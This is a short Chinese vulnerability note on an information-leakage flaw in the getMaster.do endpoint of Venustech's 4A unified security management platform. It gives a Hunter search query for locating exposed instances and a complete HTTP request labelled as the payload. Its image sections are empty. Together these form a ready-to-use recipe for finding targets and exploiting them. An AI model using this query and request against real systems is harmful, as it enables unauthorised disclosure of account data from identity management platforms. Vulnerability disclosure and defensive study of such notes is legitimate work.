Q3-1启明星辰-4A统一安全管控平台-InformationLeakage

漏洞描述：

启明星辰4A统一安全管控平台实现对自然人、资源、资源账号的集中管理，建立“自然人账号-资源-资源账号”对应关系，实现自然人对资源的统一授权，同时，对授权人员的运维操作进行记录、分析、展现，做到作事前规划预防、事中实时监控、违规行为响应、事后合规报告、事故追踪回放，加强内部业务操作行为监管，实现日常运维和业务使用可视、可控、可信，完善安全管理体系。启明星辰4A统一安全管控平台 getMaster.do 存在信息泄漏漏洞。

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.icon=="fcae06c9415a39c361780b5c0e46ab89"&&web.title="4A"

漏洞复现：

payload：

```
GET /accountApi/getMaster.do HTTP/2
Host: xx.xx.xx.xx
Cookie: sid=7a5fa1f8-5025-4d3b-9101-26d9db5b2ce0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```

效果图: